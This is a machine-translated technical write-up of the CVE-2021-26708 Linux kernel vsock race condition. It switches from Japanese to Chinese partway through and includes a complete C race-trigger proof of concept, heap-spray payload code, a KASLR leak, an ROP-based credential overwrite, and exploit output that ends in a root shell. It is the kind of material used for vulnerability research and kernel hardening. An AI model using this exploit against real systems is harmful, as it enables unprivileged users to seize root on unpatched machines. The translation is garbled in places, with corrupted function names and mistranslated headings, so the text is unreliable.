CVE-2021-26708 Linux カーネル 5.10.13 以前の特権昇格の脆弱性
脆弱性
これらの脆弱性は、net/vmw_vsock/af_vsock.cの誤ロックによる条件闘争が原因です。 これらの条件闘争は、VSOCKマルチトランスファーのサポートを追加した2019年11月のコミットで暗黙のうちに導入され、Linuxカーネルバージョン5.5-rc1にマージされました。
CONFIG_VSOCKETSとCONFIG_VIRTIO_VSOCKETSは、すべての主要なGNU/Linuxディストリビューションのカーネルモジュールとして提供されています。 これらの脆弱なモジュールは、AF_VSOCKドメインのソケットを作成した際に自動的にロードされます。
vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
AF_VSOCKのソケット作成は、非特権ユーザが利用でき、ユーザ名空間を必要としません。
メモリの破損
以下は、CVE-2021-26708の悪用についての詳細です。この悪用は、vsock_stream_etssockopt()の条件付き競争を利用しており、回復には2つのスレッドが必要で、最初のスレッドがsetsockopt()を呼び出します。
setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
&size, sizeof(unsigned long));
2番目のスレッドは、vsock_stream_etssockopt()がソケットロックを取得しようとしたときに、仮想ソケットのトランスポートを変更しますが、これは仮想ソケットを再接続することで実現します。
struct sockaddr_vm addr = {
.svm_family = AF_VSOCK,
};
addr.svm_cid = VMADDR_CID_LOCAL;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
addr.svm_cid = VMADDR_CID_HYPERVISOR;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
仮想ソケットのconnect()を処理するために、カーネルはvsock_assign_transport()を呼び出したvsock_stream_connect()を実行します。 この関数には以下のコードが含まれています。
if (vsk->transport) {
if (vsk->transport == new_transport)
return 0;
/* transport->release() must be called with sock lock acquired.
* This path can only be taken during vsock_stream_connect(),
* where we have already held the sock lock.
* In the other cases, this function is called on a new socket
* which is not assigned to any transport.
*/
vsk->transport->release(vsk);
vsock_deassign_transport(vsk);
}
vsock_stream_connect()にはソケットロックがあり、並列スレッドのvsock_stream_setsockopt()もソケットロックを取得しようとするため、条件付きの競合となります。 その結果、異なるsvm_cidで2回目のconnect()を実行した際に、vsock_deassign_transport()関数が呼び出されます。 この関数は、virtio_transport_destruct()を実行し、vsock_sock.transを解放し、vsk->transportをNULLに設定する。 stream_connect()がソケットのロックを解除することで、vsock_stream_setsockopt()の実行を継続することができます。 vsock_update_buffer_size()を呼び出し、続いてtransport->notify_buffer_size()を呼び出します。 ここでtransportは、vsk->transportに一致しないローカル変数からの廃止された値を含んでいます(原因はNULLに設定されています)。
www.DeepL.com/Translator(無料版)で翻訳しました。
カーネルがvirtio_transport_notify_buffer_size()を実行すると、メモリが破壊されます。
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
struct virtio_vsock_sock *vvs = vsk->trans;
if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
*val = VIRTIO_VSOCK_MAX_BUF_SIZE;
vvs->buf_alloc = *val;
virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}
ここで,vvsはカーネルメモリへのポインタであり,virtio_transport_destruct()で解放されている。struct virtio_vsock_sock は 64 バイトのサイズで、kmalloc-64 ブロックキャッシュに配置されています。VIRTIO_VSOCK_MAX_BUF_SIZE is 0xFFFFFFFFUL VIRTIO_VSOCK_MAX_BUF_SIZE is 0xFFFFFFFFUL buf_alloc フィールドタイプは u32 で、オフセット 40 にある。valの値は攻撃者が制御し、その最下位4バイトが解放されたメモリに書き込まれます。
ファジーテスト
syzkaller fuzzerにはこのクラッシュを再現する方法がないので、自分で調べてみることにしました。 しかし、なぜfuzzerは失敗するのか? vsock_update_buffer_size()を見てみると、次のようなことがわかりました。
if (val != vsk->buffer_size &&
transport && transport->notify_buffer_size)
transport->notify_buffer_size(vsk, &val);
vsk->buffer_size = val;
notify_buffer_size()はvalが現在のbuffer_sizeと異なる場合にのみ呼び出され、setsockopt()はSO_VM_SOCKETS_BUFFER_SIZEを実行します。 code>の場合、sizeパラメータは呼び出されるたびに異なるはずです。 そこで、コードを作ってみました。
/* * AF_VSOCK vulnerability trigger. * It's a PoC just for fun. * Author: Alexander Popov <[email protected]>. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <sys/socket.h> #include <linux/vm_sockets.h> #include <unistd.h> #define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0) #define MAX_RACE_LAG_USEC 50 int vsock = -1; int tfail = 0; pthread_barrier_t barrier; int thread_sync(long lag_nsec) { int ret = -1; struct timespec ts0; struct timespec ts; long delta_nsec = 0; ret = pthread_barrier_wait(&barrier); if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) { perror("[-] pthread_barrier_wait"); return EXIT_FAILURE; } ret = clock_gettime(CLOCK_MONOTONIC, &ts0); if (ret != 0) { perror("[-] clock_gettime"); return EXIT_FAILURE; } while (delta_nsec < lag_nsec) { ret = clock_gettime(CLOCK_MONOTONIC, &ts); if (ret != 0) { perror("[-] clock_gettime"); return EXIT_FAILURE; } delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 + ts.tv_nsec - ts0.tv_nsec; } return EXIT_SUCCESS; } void *th_connect(void *arg) { int ret = -1; long lag_nsec = *((long *)arg) * 1000; struct sockaddr_vm addr = { .svm_family = AF_VSOCK, }; ret = thread_sync(lag_nsec); if (ret != EXIT_SUCCESS) { tfail++; return NULL; } addr.svm_cid = VMADDR_CID_LOCAL; connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm)); addr.svm_cid = VMADDR_CID_HYPERVISOR; connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm)); return NULL; } void *th_setsockopt(void *arg) { int ret = -1; long lag_nsec = *((long *)arg) * 1000; struct timespec tp; unsigned long size = 0; ret = thread_sync(lag_nsec); if (ret != EXIT_SUCCESS) { tfail++; return NULL; } clock_gettime(CLOCK_MONOTONIC, &tp); size = tp.tv_nsec; setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &size, sizeof(unsigned long)); return NULL; } int main(void) { int ret = -1; unsigned long size = 0; long loop = 0; pthread_t th[2] = { 0 }; vsock = socket(AF_VSOCK, SOCK_STREAM, 0); if (vsock == -1) err_exit("[-] open vsock"); printf("[+] AF_VSOCK socket is opened\n"); size = 1; setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE, &size, sizeof(unsigned long)); size = 0xfffffffffffffffdlu; setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE, &size, sizeof(unsigned long)); ret = pthread_barrier_init(&barrier, NULL, 2); if (ret != 0) err_exit("[-] pthread_barrier_init"); for (loop = 0; loop < 30000; loop++) { long tmo1 = 0; long tmo2 = loop % MAX_RACE_LAG_USEC; printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2); ret = pthread_create(&th[0], NULL, th_connect, &tmo1); if (ret != 0) err_exit("[-] pthread_create #0"); ret = pthread_create(&th[1], NULL, th_setsockopt, &tmo2); if (ret != 0) err_exit("[-] pthread_create #1"); ret = pthread_join(th[0], NULL); if (ret != 0) err_exit("[-] pthread_join #0"); ret = pthread_join(th[1], NULL); if (ret != 0) err_exit("[-] pthread_join #1"); if (tfail) { printf("[-] some thread got troubles\n"); exit(EXIT_FAILURE); } } ret = close(vsock); if (ret) perror("[-] close"); printf("[+] now see your warnings in the kernel log\n"); return 0; }
ここでのサイズの値は、clock_gettime()が返すナノ秒の数から取得されるため、毎回異なる値になる可能性があります。 オリジナルの syzkaller では、syscall パラメータの値は syzkaller がファジング入力を生成する際に決定され、実行時には変更されないため、この処理は行われません。
四字熟語の威力
ここでは、研究対象としてFedora 33 Serverを選び、カーネルバージョン5.10.11-200.fc33.x86_64で、SMEPとSMAPを回避することにしました。
その第一歩として、私は安定したヒープイジェクションに取り組み始めました。これは、ユーザースペースを実行する活動を利用して、カーネルが解放されたvirtio_vsock_sockの場所に別の64バイトのオブジェクトを割り当てるようにするものです。 数回の実験の後、リリースされた virtio_vsock_sock が上書きされていることが確認され、ヒープインジェクションが実行可能であることがわかりました。 最終的に msgsnd() システムコールを見つけました。これはカーネル空間で msg_msg 構造体を作成します。
struct msg_msg {
struct list_head m_list; /* 0 16 */
long int m_type; /* 16 8 */
size_t m_ts; /* 24 8 */
struct msg_msgseg * next; /* 32 8 */
void * security; /* 40 8 */
/* size: 48, cachelines: 1, members: 5 */
/* last cacheline: 48 bytes */
};
表はメッセージのヘッダー、裏はメッセージのデータです。 ユーザ空間の struct msgbuf に 16 バイトの mtext がある場合、対応する msg_msg が kmalloc-64 ブロック・キャッシュに作成されます。 4 バイトの write-after-free により、オフセット 40 の void *security ポインタが破壊されます。msg_msg.securityフィールドは、msg_msgを受信したときに、lsm_msg_alloc()によって割り当てられ、security_msg_msg_free()によって解放されたカーネルデータを指します。 このように、セキュリティ・ポインターの前半部分を壊すことで、任意の自由を得ることができます。
社内コア情報の漏洩
Used here BC%8F%E6%B4%9E CVE-2019-18683で同じ仕掛けをしています。 バーチャルソケットの2回目のconnect()では、vsock_deassign_transport()を呼び出し、vsk->transportをNULLに設定することで、vsock_stream_setsockopt()<? /code>call virtio_transport_send_pkt_info()の後に、カーネルアラームでメモリクラッシュが発生したことがあります。
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G W 5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS: 00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
vsock_update_buffer_size+0x5f/0x70 [vsock]
vsock_stream_setsockopt+0x128/0x270 [vsock]
...
gdbによるデバッグで、RCXレジスタには解放されたvirtio_vsock_sockのカーネルアドレスが、RBXレジスタにはvsock_sockのカーネルアドレスが入っていることがわかりました。
どこでも読める
從 arbitrary free 到 use-after-free
リークされたカーネルアドレスからのオブジェクトの解放
ヒープスプレーを行い、制御されたデータでオブジェクトを上書きする
破損したオブジェクトを特権昇格に利用する
System V メッセージのカーネルの実装では、DATALEN_MSG の最大値は、PAGE_SIZE から sizeof(struct msg_msg)を引いた値に制限されています。) より大きなメッセージを送信した場合、残りのメッセージはメッセージセグメントのリストに保存されます。msg_msgは、最初のセグメントを指すstruct msg_msgseg *nextと、サイズを格納する size_t m_tsを含んでいます。 上書き操作を行うと、制御された値が msg_msg.m_ts と msg_msg.next に配置されます。
Payload:
#define PAYLOAD_SZ 40
void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
{
struct msg_msg *msg_ptr;
xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;
/* Don't touch the second part to avoid breaking page fault delivery */
memset(spray_data, 0xa5, PAGE_SIZE * 4);
printf("[+] adapt the msg_msg spraying payload:\n");
msg_ptr = (struct msg_msg *)xattr_addr;
msg_ptr->m_type = 0x1337;
msg_ptr->m_ts = ARB_READ_SZ;
msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
msg_ptr,
msg_ptr->m_type, &(msg_ptr->m_type),
msg_ptr->m_ts, &(msg_ptr->m_ts),
msg_ptr->next, &(msg_ptr->next));
}
しかし、msg_msgを使って内部監査データを読むにはどうすればいいのでしょうか? msgrcv()のシステムコールファイルを読んでみると、msgrcv()とMSGフラグを使った良い解決策が見つかりました:。
MSG_COPY (since Linux 3.8)
Nondestructively fetch a copy of the message at the ordinal position in the queue
specified by msgtyp (messages are considered to be numbered starting at 0).
このフラグは、メッセージデータをメッセージキューから削除することなく、カーネルがユーザースペースにコピーすることを意味します。 カーネルにCONFIG_CHECKPOINT_RESTORE=yが設定されている場合、MSGは利用可能であり、Fedora Serverでも適用可能です。
任意の読み取りのためのステップ
準備
sched_getaffinity()およびCPU_COUNT()を使用して、使用可能なCPUの数を計算します(このエクスプロイトでは、少なくとも2つのCPUが必要です)。
パージングのために/dev/kmsgを開く。
mmap()は、userfaultfd()をspray_dataメモリ領域の最後の部分として設定します。
userfaultfd()イベントを処理するために、別のpthreadを起動します。
msg_msgでsetxattr()とuserfaultfd()のヒープインジェクションを行うために127個のスレッドを立ち上げ、thread_barrierに掛けます。
オリジナルのmsg_msgのカーネルアドレスを取得します。
仮想ソケットの条件付き競争
2回目のconnect()の後、ビジー・ループで35マイクロ秒待つ。
msgsnd() を呼び出して別のメッセージキューを作成します。メモリ破壊の後、msg_msg ペアは virtio_vsock_sock の場所に置かれます。
カーネルログを解析し、カーネル警告(RCXレジスタ)からmsg_msgのカーネルアドレスを保存する。
また,RBXレジスタからvsock_sockのカーネルアドレスが格納される。
破壊された msg_msg を使って、元の msg_msg の任意の解放を行います。
メモリ破壊を実装するために、SO_VM_SOCKETS_BUFFER_SIZEとして、オリジナルのmsg_msgアドレスの4バイトを使用します。
仮想ソケットの条件付き競争
msgsnd()は2回目のconnect()の直後に呼び出され、msg_msgは破壊を実装するためにvirtio_vsock_sockの場所に置かれます。
破棄された msg_msg のセキュリティ・ポインタには、(ステップ 2 からの)元の msg_msg のアドレスが格納されます。
如果在處理 msgsnd() 的過程中發生了來自 setsockopt()線程的 msg_msg.security內存損壞,進而SELinux權限檢查失敗;
在這種情況下,msgsnd()返回-1,損壞的msg_msg被銷毀;釋放msg_msg.security可以釋放原始msg_msg;
用一個可控的payload 覆蓋原始msg_msg:
msgsnd()失敗後,漏洞就會調用pthread_barrier_wait(),調用127個用於堆噴射的pthreads;
這些pthreads執行setxattr()的payload;
原始msg_msg被可控的數據覆蓋,msg_msg.next指針存儲vsock_sock對象的地址;
通過從存儲被覆蓋的 msg_msg的消息隊列中接收消息,將vsock_sock內核對象的內容讀到用戶空間:
ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
尋找攻擊目標
以下是我找到的點:
1.專用的塊緩存,如PINGv6和sock_inode_cache有很多指向對象的指針
2.struct mem_cgroup *sk_memcg指針在vsock_sock.sk偏移量664處。 mem_cgroup結構是在kmalloc-4k塊緩存中分配的。
3.const struct cred *owner指針在vsock_sock.sk偏移量840處,存儲了可以覆蓋進行權限升級的憑證的地址。
4.void (*sk_write_space)(struct sock *)函數指針在vsock_sock.sk偏移量688處,被設置為sock_def_write_space()內核函數的地址。它可以用來計算KASLR偏移量。
下面是該漏洞如何從內存中提取這些指針:
#define SK_MEMCG_RD_LOCATION (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET 840
#define OWNER_CRED_RD_LOCATION (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET 688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET)
/*
* From Linux kernel 5.10.11-200.fc33.x86_64:
* function pointer for calculating KASLR secret
*/
#define SOCK_DEF_WRITE_SPACE 0xffffffff819851b0lu
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;
/* ... */
sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
sk_memcg, SK_MEMCG_RD_LOCATION);
owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
owner_cred, OWNER_CRED_RD_LOCATION);
sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);
kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);
在 sk_buff 上實現 Use-after-free
Linux內核中與網絡相關的緩衝區用struct sk_buff表示,這個對像中有skb_shared_info與destructor_arg,可以用於控制流劫持。網絡數據和skb_shared_info被放置在由sk_buff.head指向的同一個內核內存塊中。因此,在用戶空間中創建一個2800字節的網絡數據包會使skb_shared_info被分配到kmalloc-4k塊緩存中,mem_cgroup對像也是如此。
我構建了以下步驟:
1.使用socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)創建一個客戶端套接字和32個服務器套接字
2.在用戶空間中準備一個2800字節的緩衝區,並用0x42對其memset()
3.用sendto()將這個緩衝區從客戶端套接字發送到每個服務器套接字,用於在kmalloc-4k中創建sk_buff對象。在每個可用的CPU上使用`sched_setaffinity()
4.對vsock_sock執行任意讀取過程
5.計算可能的sk_buff內核地址為sk_memcg加4096(kmalloc-4k的下一個元素)
6.對這個可能的sk_buff地址執行任意讀
7.如果在網絡數據的位置找到0x42424242424242lu,則找到真正的sk_buff,進入步驟8。否則,在可能的sk_buff地址上加4096,轉到步驟6
8.sk_buff上執行32個pthreads的setxattr()&userfaultfd()堆噴射,並把它們掛在pthread_barrier上
9.對sk_buff內核地址進行任意釋放
10.調用pthread_barrier_wait(),執行32個setxattr()覆蓋skb_shared_info的堆噴pthreads
11.使用recv()接收服務器套接字的網絡消息。
以下是覆蓋sk_buff對象的有效payload:
#define SKB_SIZE 4096
#define SKB_SHINFO_OFFSET 3776
#define MY_UINFO_OFFSET 256
#define SKBTX_DEV_ZEROCOPY (1 << 3)
void prepare_xattr_vs_skb_spray(void)
{
struct skb_shared_info *info = NULL;
xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;
/* Don't touch the second part to avoid breaking page fault delivery */
memset(spray_data, 0x0, PAGE_SIZE * 4);
info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
info->tx_flags = SKBTX_DEV_ZEROCOPY;
info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;
uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);
skb_shared_info駐留在噴射數據中,正好在偏移量SKB_SHINFO_OFFSET處,即3776字節。 skb_shared_info.destructor_arg指針存儲了struct ubuf_info的地址。因為被攻擊的sk_buff的內核地址是已知的,所以能在網絡緩衝區的MY_UINFO_OFFSET處創建了一個假的ubuf_info。下面是有效payload的佈局:
下面講講destructor_arg 回調:
/*
* A single ROP gadget for arbitrary write:
* mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
* Here rdi stores uinfo_p address, rcx is 0, rsi is 1
*/
uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */
由於在vmlinuz-5.10.11-200.fc33.x86_64中找不到一個能滿足我需求的gadget,所以我自己進行了研究構造。
callback函數指針存儲一個ROP gadget 地址,RDI存儲callback函數的第一個參數,也就是ubuf_info本身的地址,RDI + 8指向ubuf_info.desc。 gadget 將ubuf_info.desc移動到RDX。現在RDX包含有效用戶ID和組ID的地址減一個字節。這個字節很重要:當gadget從 RSI向 RDX指向的內存中寫入消息1時,有效的 uid和 gid將被零覆蓋。重複同樣的過程,直到權限升級到root。整個過程輸出流如下:
[a13x@localhost ~]$ ./vsock_pwn
=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================
[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready
[+] stage I: collect good msg_msg locations
[+] go racing, show wins:
save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
save msg_msg ffff9125c25a4640 in msq 12 in slot 1
save msg_msg ffff9125c25a4780 in msq 22 in slot 2
save msg_msg ffff9125c3668a40 in msq 78 in slot 3
[+] stage II: arbitrary free msg_msg using corrupted msg_msg
kaddr for arb free: ffff9125c25a4d00
kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins:
[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000
[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
kaddr for arb free: ffff9125c25a4640
kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb
[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
start at 0x7f0d91120004
skb_shared_info at 0x7f0d91120ec4
tx_flags 0x8
destructor_arg 0xffff9125c42fa100
callback 0xffffffffab64f6d4
desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15
[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30
[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
視頻
參考